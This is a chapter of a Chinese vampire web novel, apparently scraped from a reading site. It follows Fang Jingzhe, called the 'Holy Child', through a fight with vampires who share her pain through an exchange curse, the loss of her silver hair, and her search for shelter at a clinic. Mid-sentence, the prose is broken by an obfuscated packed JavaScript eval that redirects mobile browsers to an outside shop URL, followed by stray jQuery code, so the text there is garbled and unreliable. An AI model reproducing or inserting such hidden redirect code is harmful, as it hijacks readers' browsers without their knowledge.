吸血鬼的月之照狱,本质是不等价的交换。交换的东西不限于伤势、疾病、智商、心性、容貌、身材等等个人所拥有的东西,交换对象不限于同类,还可以是人类、野生动物、自家宠物等等有一定灵性的活物。比如说吸血鬼A快死了,和另一只吸血鬼B交换之后,那么后果是B死A生。交换的前提是需要对方同意,灵性不足自然领会不到这一点,无法做出同意的态度。
方惊蛰小时候觉得这是邪神。因为还有一种情况是,如果双方拥有血缘关系,不需要同意也可以自由的夺走对方的任何东西。后来她学了些东西,彻底认识到,不管是夺走血亲的所有物,还是毫无血缘关系的对象的所有物,只要是夺走,那就能被定义为抢掠。
被她伤了手掌的诸多吸血鬼同时念起了这句咒语。
伤痛叠加。方惊蛰瞬间觉得右手炸裂开来,疼痛顺着骨头快速侵袭大脑,浑身颤抖不已。她站在本就狭窄的装饰性外雕塑之间,摇摇欲坠。离她只有半臂远的吸血鬼说了句什么,她没有听清,只知道他在笑。
吸血鬼说,“果然是圣子殿下。”
原来不用特意做出那个手势也能召唤照狱神进行交换。她不知道。
张由的手下被吸血鬼手里的信号灯吸引过来,子弹像雨滴一样斜着射过来,把工人新打造好的雕塑轰了个稀巴烂。倒挂着的吸血鬼丝毫不畏惧人类的子弹,任由那些金属小颗粒进入身体。
因为感受到疼痛的是方惊蛰。她觉得自己整个稀巴烂了。
吸血鬼伸出一只手来,去摸她的眼睛。这次她听清楚了他说的话,“这双眼睛真好看,圣子殿下,把它给我。”
邪神的后代,圣子。吸血鬼尊称它为殿下。
圣子八十一年一出生,传闻拥有银白头发,会发绿的眼睛。
方惊蛰记事起,周围有的人调侃她是圣子殿下,那种语气和态度戏谑多于尊敬。行院里有很多历代圣子的雕塑,大多一个模样,她不像任何一个。银白色的头发也不是天生的。据说刚开始是黑色,后来慢慢的变成了银白色。于是他们更倾向于把她当作模仿圣子来欺骗大家,意欲得到优待的野生孤儿。曾经有很多无家可归的吸血鬼浪儿这么做。
独步春称呼她为圣子殿下的时候,她打算利用这个名头执行复仇计划来着,现在这个不知目的何在的吸血鬼也这么称呼她,方惊蛰忽然想到,独步春和这些吸血鬼之间是不是有什么阴谋?
“我最讨厌别人碰我。”方惊蛰忽而从疼痛的深渊中清醒过来,向前一扑,抱着眼前的吸血鬼直直坠落,“吸血鬼会害怕摔死吗?”
“有你在,我怎么死都不怕。”吸血鬼笑她天真,笑她做着自我毁灭式的反击,“你是不是很想撕咬我?”
他一手环着方惊蛰的腰,一手微微撕开衣领,露出一个被铁刺划伤的伤口。
对于雨夜的吸血鬼来说,这无疑是苦寒许久之后,放在温暖炉火旁边的美味佳肴。
他们不断下坠,一路撞碎突出的岩石屋檐,撞死赶来救场、独自乱飞、慌乱的乌鸦,张由队伍的子弹和猛攻不断。两只吸血鬼在一团碎石和大雨之中重重落地。
身下的吸血鬼吐出了大口鲜血,瞳孔接近于死亡的涣散。方惊蛰稳稳坐在他身上,抬起的拳头慢慢泄了力。
她犯了死罪。
还没有得到什么的人生,就此落幕。
死去的吸血鬼忽然深吸一口气,大笑。方惊蛰的拳头落在他的脸上,胸腔里被撞击的疼痛大片的洇开来,混着雨水,濡湿所有的地方。
方惊蛰意识到了什么,内心深处的恐惧,像春天的种子一样快速出苗,抽条。她脑子里什么也想不出来,只知道:她已经丧失了自己。
“你也太残暴了。”被不停殴打的吸血鬼并没有因此受到半点伤害,“伤害同类是要被清除的。”
“那你来清除掉我。”方惊蛰仿佛失去了灵魂。他们办不到。方惊蛰不知道在嘲笑自己还是这只吸血鬼,一边嘴角扯起,僵硬地落下,“你要干什么?”
她失败了。斗不过这些吸血鬼。
“你认错人了,殿下,我不是老大。咱们老大在圣桥上等你,如果你有能力见到他的话。”
“我不会去的。”方惊蛰起身。雨已经停了。从道路另一头照过来的光里,她嗅到吸血鬼们和人类站在了一起。他们一起对抗她。
她拿出那把能杀死吸血鬼的枪,“这个呢?能杀死你吗?能杀死我吗?”
枪口对着地上的吸血鬼,他和自己一样,是金性。这吸血鬼显然也认识这把枪,知道它的威力。它和普通的枪做得不一样,白中带黑,就是为了方便分辨。吸血鬼默默举起了双手投降,嚣张的态度终于谦卑了些,他说,“饶命。”
方惊蛰把枪口按在自己另一只手掌心,吸血鬼劝道,“别冲动,咱们同归于尽不要紧,剩下的吸血鬼作乱怎么办?你师兄没有你不行啊!”
方惊蛰想起那天,自己催促着师兄开枪,第一次杀死了吸血鬼之后,朝自己开了两次空枪是什么样的心境。如果他知道那是她有意为之,就是为了试验,为了往后的某个复仇机会铺路,会不会恨她入骨?
吸血鬼着急了,连忙爬起来跪在地上虔诚的劝,“这真的太残暴了,使不得啊使不得。”
她已经做过一次残暴的事情了。她和人类越来越远。方惊蛰不知道该怎么办?她想回到人类世界里去。她做了什么变成现在这样?她回想着,为了人类的安全接受隐藏气味的吸血鬼的挑衅开始,被眼前这个吸血鬼审问和复仇,被张由带领的队伍追捕……她想不出来自己为什么突然变成了这样。脑子被打了一记重锤似的,是不是那些吸血鬼夺走了她的良知和人类世界的三观,还有智商,所以她变成这样?
她会不会已经成为了那个吸血鬼老大的傀儡?这太可怕了。她要去找师兄。
方惊蛰走着走着,忘记了自己是怎么从张由的枪口下、吸血鬼的虎视眈眈下走到居民的巷子里来的。她忽然想到一个不合理的简单问题:那只吸血鬼不就是因为这把枪才来杀我的吗?为什么在她想要伤害自己的时候又阻止?说着那样的话。师兄没有我不行?在三年前,他身边就是没有她。她离开后,还会有一个新的师妹顶替她的位置。
大雨过后,月光明亮。路上的水潭映照着白光,亮晶晶倒映出蔚蓝色的天空和黑色的云。前方有灯光。她想回到人类世界里去。吸血鬼驯养的乌鸦声声空鸣,呼唤着、拉扯着方惊蛰的灵魂。
看来你的决心并不怎么坚定啊?令爵曾经这么说过。只要给你一点好处,你就忘记了这件事。
令爵似乎是说对了。她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17902669|212673||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现在才认识到这一点。
路边有一个蓄水池。方惊蛰走过去,拿起水瓢舀了满满的一瓢水倒进木盆里,清洗自己的脸。发现手上没有伤口,她不敢再洗。头发变成了黑色,方惊蛰呆住了。过了不知道多久,她才凑到水池边去确认。
水面中映出的自己,的确变成了黑色头发。她没有道德的把头发放进水池中搓洗,甚至用上了旁边的强力去污剂,不管是水性的,还是油性的,通通试上一边,整个水池里漂着彩色的泡泡、冒着微弱的热气,散发着点点刺鼻的味道。她把人家整池水祸害了,仍然没能洗掉头发上的黑色。
黑色头发代表她不是邪神的后代,这一点可喜可贺。
银色头发突然变成黑色,这表明她不是人类。
真正让她难过的是后者。
她本来就不是人类。就算不是人类,做一个善良的吸血鬼,仍然可以得到人类的接纳,她连这点机会也失去了。
银色变黑色,黑色变银色。她知道这是怎么回事。
方惊蛰带着不确定和胆怯,敲响了一户人家的门。站在高处扫视了一遍,只有这一家开着灯,有一个人影微微打开了门又回到屋子更深处去了。那是一个年近五十岁的高瘦妇人,不大开心,但是没有恶意。她便顺着自己的感觉敲了敲这家的门。门牌号是103。
没有人回应。
她不想放弃。门口的走廊是昏暗的,只有再往里走的一间房间内开着灯,亮光微微透出来,所有的东西都呈现出模模糊糊的轮廓。
“有人在吗?”细弱的声音呼喊。
她曾经也是这样,被一位同样流浪的大姐姐领着上门讨饭吃。如今她身后也跟着一个更加弱小的孩子般,为了她鼓足勇气,闯进人类的世界。
喊了两回,一个人影从长长的走廊那头挪动过来了。
“什么事?”妇人的瘦脸宛如雕塑,看见门口不速之客的脸后,顿时停下脚步警觉了起来。
“我是从乡下来要去歌剧院考试的学生,说好可以留宿的但是突然把我们赶出来了,我没有多余的钱,能不能请您帮帮忙,留我在您家屋檐下躲躲雨?或者能不能借我一把伞?我怕生病了就没法考试。这是我唯一的一次机会……”
“会还吗?”
“我一定会还的。我明天一早就还,然后去考试。”
“前两天也有个人这么说,到现在也没有把伞还回来。你进来吧。”妇人埋怨着,打开了走廊上的灯。晕黄的灯光照着她暖色的皮肤。妇人做了个引路的姿势,“在这待到天亮,你就走吧。这么年轻的女孩子一个人在外面流浪,多可怜啊。”
妇人把她引到开灯的那间房子,里面还有两位医生在小声说话。
“放心吧,我们这里是诊所,这里有张床,你可以先睡下。”
妇人看她为难,看了另外两人一眼,那两位医生自觉的起身要出去。
“不过提醒你,别乱走。后面的房间里住着我儿子,突然染了严重的风寒,别吓着你了。”
房间里透出丝丝鬼气。她儿子快要死了。那两位医生刚才就在讨论这件事。妇人还不知道。
“给你一杯热水好吗?我没有心情弄别的。”妇人关上门之前询问。
方惊蛰内心做了短暂的挣扎,说,“好的,谢谢。”